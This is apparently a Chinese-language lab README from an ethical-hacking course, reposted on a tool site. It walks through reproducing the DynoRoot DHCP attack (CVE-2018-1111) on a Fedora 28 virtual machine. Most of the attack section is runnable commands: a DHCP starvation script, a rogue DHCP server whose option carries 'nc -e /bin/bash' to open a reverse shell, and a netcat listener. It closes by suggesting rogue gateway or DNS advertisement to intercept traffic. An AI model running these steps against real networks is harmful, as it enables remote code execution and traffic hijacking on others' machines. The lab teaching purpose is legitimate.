Python 攻击脚本需要以 root 身份运行,才能构造底层网络数据包 并使用 Scapy。 为简单起见,我们将使用 root 用户安装所有依赖。

Conda 环境 使用 Scapy:```bash sudo su cd wget 'https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh' chmod u+x Miniconda3-latest-Linux-x86_64.sh ./Miniconda3-latest-Linux-x86_64.sh -b -p ./miniconda ./miniconda/bin/conda init source .bashrc

conda create -y -n dynoroot python=3.6 conda activate dynoroot pip install 'scapy[complete]'

root@kitploit:~
接下来,我们将从 GitHub 获取两个攻击脚本:
- **DHCP starvation**\
  该脚本将用伪造的请求淹没良性 DHCP,
  耗尽可用的地址池。  ```bash
  git clone 'https://github.com/baldassarreFe/FEP3370-advanced-ethical-hacking'
  • Rogue DHCP
    一旦良性 DHCP 的地址分配耗尽,此脚本将准备好分发内嵌恶意参数的 DHCP offer。 此脚本是 原始 CVE) 的修改版本: ```bash git clone 'https://github.com/baldassarreFe/CVE-2018-1111' --branch 'feature/ignore-mac'
    root@kitploit:~

Fedora 受害者

受害机器没有进行任何特殊配置,它只是一个 Fedora 28 安装,带有存在漏洞的 NetworkManager。

虚拟机创建

下载 Fedora ISO:```bash wget 'https://archives.fedoraproject.org/pub/archive/fedora/linux/releases/28/Server/x86_64/iso/Fedora-Server-dvd-x86_64-28-1.1.iso' md5sum --check << EOF 18740b445159c54d10bd887650e8d1d7 Fedora-Server-dvd-x86_64-28-1.1.iso EOF

root@kitploit:~
创建虚拟机:
- 网络接口 1 连接到 VirtualBox 的默认 NAT 网络
- 网络接口 2 连接到 `intnet` 内部网络\
  (MAC 地址中的 "f" 代表 Fedora)
- 将主机的 `600x` 端口转发到虚拟机中的 SSH 端口```bash
VM_NAME="fedora"
VRDE_PORT=5003
SSH_PORT=6003
VM_MAC='08:00:ff:ff:ff:ff'

VBoxManage createvm --name "${VM_NAME}" --ostype Fedora_64 --register
VBoxManage modifyvm "${VM_NAME}" \
  --memory 2048 \
  --acpi on \
  --boot1 dvd \
  --nic1 nat \
  --nic2 'intnet' \
  --macaddress2 "${VM_MAC//:/}" \
  --natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
  --audio none

VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}" \
  --storagectl "IDE Controller" \
  --port 0 \
  --device 0 \
  --type hdd \
  --medium "${VM_NAME}.vdi"

VBoxManage storageattach "${VM_NAME}" \
  --storagectl "IDE Controller" \
  --port 0 \
  --device 1 \
  --type dvddrive \
  --medium "$(realpath Fedora-Server-dvd-x86_64-28-1.1.iso)"

如果出现问题:```bash VBoxManage unregistervm "${VM_NAME}" --delete

root@kitploit:~
#### 操作系统安装
第一次启动机器时,我们需要一个虚拟桌面来跟随安装步骤。我们
可以以无头模式启动虚拟机,并使用 `rdesktop-vrdp` 进行连接。如果 VirtualBox 在
桌面计算机上运行,通过 GUI 启动虚拟机可能更容易,但
这种方法即使对于远程 VirtualBox 主机也能正常工作。```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 12 # Fedora is slow...
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%

Install config:

  • 主机名 fedora
  • 用户 victim
  • 密码 vic
  • 将 enp0s8 设置为使用 DHCP
  • SSH 服务器默认启用
安装截图:网络配置。 安装截图:用户创建。

安装完成后,关闭系统,移除 iso 并禁用 VRDE:```bash VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 1
--type dvddrive
--medium "none" VBoxManage modifyvm "${VM_NAME}" --vrde off

root@kitploit:~
#### SSH 登录
为方便访问,我们可以将上面创建的 SSH 密钥安装到 `victim` 机器中:```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub victim.ethhack
ssh victim.ethhack

网络

检查接口 enp0s8 是否使用 DHCP:```bash sudo nmcli device show enp0s8

root@kitploit:~
如果不是,则可以通过以下方式进行配置:```
sudo nmcli connection down   enp0s8
sudo nmcli connection modify enp0s8 IPv4.method auto
sudo nmcli connection modify enp0s8 IPv4.address ''
sudo nmcli connection up     enp0s8

要恢复为静态 IP:```bash sudo nmcli connection down enp0s8 sudo nmcli connection modify enp0s8 IPv4.address 192.168.0.99/24 sudo nmcli connection modify enp0s8 IPv4.method manual sudo nmcli connection up enp0s8

root@kitploit:~
## 执行攻击

按顺序执行以下步骤,将演示 DHCP 攻击。
我们建议设置一个终端多路复用器,例如 [Byobu](https://www.byobu.org/),以便于在机器之间切换。

攻击之前:
1. 启动这 3 台虚拟机,它们将自动连接到良性 DHCP
2. 断开 Fedora 机器并清理 DHCP 租约文件,以模拟全新连接
3. 重启 DHCP 服务器,以模拟全新连接

攻击本身包括:
1. 从攻击者发起一系列伪造的 DHCP REQUEST,以 _耗尽_ 良性 DHCP 服务器
2. 启动恶意 DHCP 服务器,它将向受害者发送恶意的 OFFER
3. 重新连接 Fedora 机器,并等待 NetworkManager 广播 DHCP DISCOVER
4. 等待反向 shell 连接

如果出现任何问题,请停止所有相关服务并重新开始。

### 网关
清理旧的 DHCP 租约和 ARP 表,然后重启 DHCP:```bash
sudo systemctl stop isc-dhcp-server
sudo rm /var/lib/dhcp/dhcpd.leases*
sudo ip link set arp off dev enp0s8
sudo ip link set arp on dev enp0s8

sudo systemctl start isc-dhcp-server
tail -f /var/log/syslog | grep --line-buffered 'dhcpd' | grep -E 'dhcpd|attacker|fedora|'

攻击者

获取新的 DHCP 租约:``` sudo dhclient -r enp0s8 sudo dhclient -v enp0s8

root@kitploit:~
使用 `tcpdump` 记录 DHCP 流量:```bash
sudo ip link set enp0s8 promisc on
sudo tcpdump -i enp0s8 -w attack.pcap 'arp or icmp or port 67 or port 68'

或者,VirtualBox 也可以记录流量:```bash VBoxManage modifyvm "attacker" --nictrace2 on --nictracefile2 capture.pcap VBoxManage modifyvm "attacker" --nictrace2 off

root@kitploit:~
发起 DHCP 饥饿攻击(以 `root` 身份运行):```
sudo su && cd && conda activate dynoroot
python FEP3370-advanced-ethical-hacking/starver.py \
  --interface  enp0s8 \
  --pool-start 192.168.0.100 \
  --pool-end   192.168.0.105

使用 netcat 监听来自受害者的连接:``` nc -v -l -p 1337

root@kitploit:~
发起攻击(以 `root` 身份运行):```bash
sudo su && cd && conda activate dynoroot
MY_IP=$(ip -f inet addr show enp0s8 | awk '/inet / {print $2}' | cut -d'/' -f1)
MY_MAC=$(ip link show enp0s8 | awk '/link\/ether / {print $2}' | cut -d'/' -f1)
python CVE-2018-1111/main.py \
  -i enp0s8 \
  -s 192.168.0.0/24 \
  -g 192.168.0.1 \
  -d 'victim.net' \
  -m "${MY_MAC}" \
  -p "nc -e /bin/bash ${MY_IP} 1337"

受害者

清理旧的 DHCP 租约并重新连接:``` sudo nmcli connection down enp0s8 sudo find /var/lib/NetworkManager -name 'dhclient-*-enp0s8.lease' -delete

sudo nmcli connection up enp0s8 nmcli

root@kitploit:~
### 分析

#### 视频演示
以下[视频](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/media/dynoroot.mp4)演示了按照上述步骤执行攻击的
过程。在视频中,可以观察到:
1. `gateway` 与 `attacker` 之间的四次 DHCP 交互
2. DHCP 饥饿攻击,既出现在攻击者的控制台中, 
   也出现在 DHCP 服务器的日志中(注意由于攻击者已有租约而产生的 `NACK`)
3. 当 `victim` 广播 DHCP `DISCOVER` 时,来自 `gateway` 的“没有可用租约”消息
4. 恶意 DHCP 服务器精心构造的 DHCP 消息,提供 `192.168.0.2`
5. netcat 已收到来自 `192.168.0.2` 的反向 shell 连接的确认
6. `victim` 收到的伪造 DNS 选项, 
   即 DNS 地址 `192.168.0.1` 和域名 `victim.net`
7. 在受害机上成功远程执行简单命令
8. 攻击结束时发送的 DHCP `RELEASE`

<a href="https://youtu.be/rgjMzQ5ExyA">
  <img src="https://assets.kitploit.com/production/public/readmes/23114/de82a8bbb23835dcc4d0836fe7f906d9610b860d02a0e92b903191be840a799c.gif" style="position:relative; left:50%; transform:translateX(-50%); max-width:1000px;" width="90%">
</a>

#### 流量分析

包含攻击痕迹的[捕获文件](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/media/attack.pcap)可以使用
[Wireshark](https://wiki.wireshark.org/DHCP) 进行分析。在捕获中,我们可以注意到:
1. `gateway` 与 `attacker` 之间的四次 DHCP 交互
2. DHCP 饥饿攻击
3. 由 `victim` 发起并由 `attacker` 完成的 DPCH 交换
4. 当 `victim` 连接到 `attacker` 上的 netcat 会话时, 
   ARP _who-has_ 请求和应答

<figure style="text-align:center">
  <img src="https://assets.kitploit.com/production/public/readmes/23114/4503aa77c165c6b2b669f178171dbea60d054b88b56f5d857918fd257e2c6b94.png" style="max-width:800px;" width="90%"/>
  <figcaption>攻击的数据包捕获,与利用相关的 DHCP 选项已被高亮显示。MAC 地址中的字母分别代表:<code>d</code> DHCP 服务器,<code>a</code> 攻击者,<code>f</code> Fedora 受害机</figcaption>
</figure>

## 未来工作
DynoRoot 针对旧的 Fedora 和 RedHat 发行版,并且已在较新的版本中得到修补。
因此,在实际环境中执行此利用的机会有限。幸运的是,DHCP 攻击
并不局限于远程代码执行:任何类型的精心构造的选项都会被客户端接受,
无论是否存在 DynoRoot 漏洞。利用此行为的最简单方法
是将攻击者控制的机器宣传为网络网关或某个区域的 DNS,
从而允许监控、检查和重新路由任何后续流量。

另一个有趣的方向是 DHCP 饥饿攻击。本项目展示的攻击
依赖于用来自伪造 MAC 地址的 `REQUESTS` 泛洪 DHCP 服务器,这并不符合
隐蔽性的定义。这篇博客文章探讨了 
[在不发送任何 DHCP 数据包的情况下执行饥饿攻击](https://medium.com/bugbountywriteup/dhcp-starvation-attack-without-making-any-dhcp-requests-bef0022133c9) 
但改为依赖伪造的 ARP 应答的可能性。

## 致谢
[CVE-2018-1111](https://access.redhat.com/security/vulnerabilities/3442151) 由谷歌安全团队的
[Felix Wilhelm](https://twitter.com/_fel1x) 向 Red Hat 报告。

用于执行该利用的 Python 脚本来自 [Kevin Kirsche](https://github.com/kkirsche) 的
GitHub [仓库](https://github.com/kkirsche/CVE-2018-1111),并进行了轻微修改以忽略
攻击者自身的 MAC 地址。
下载工具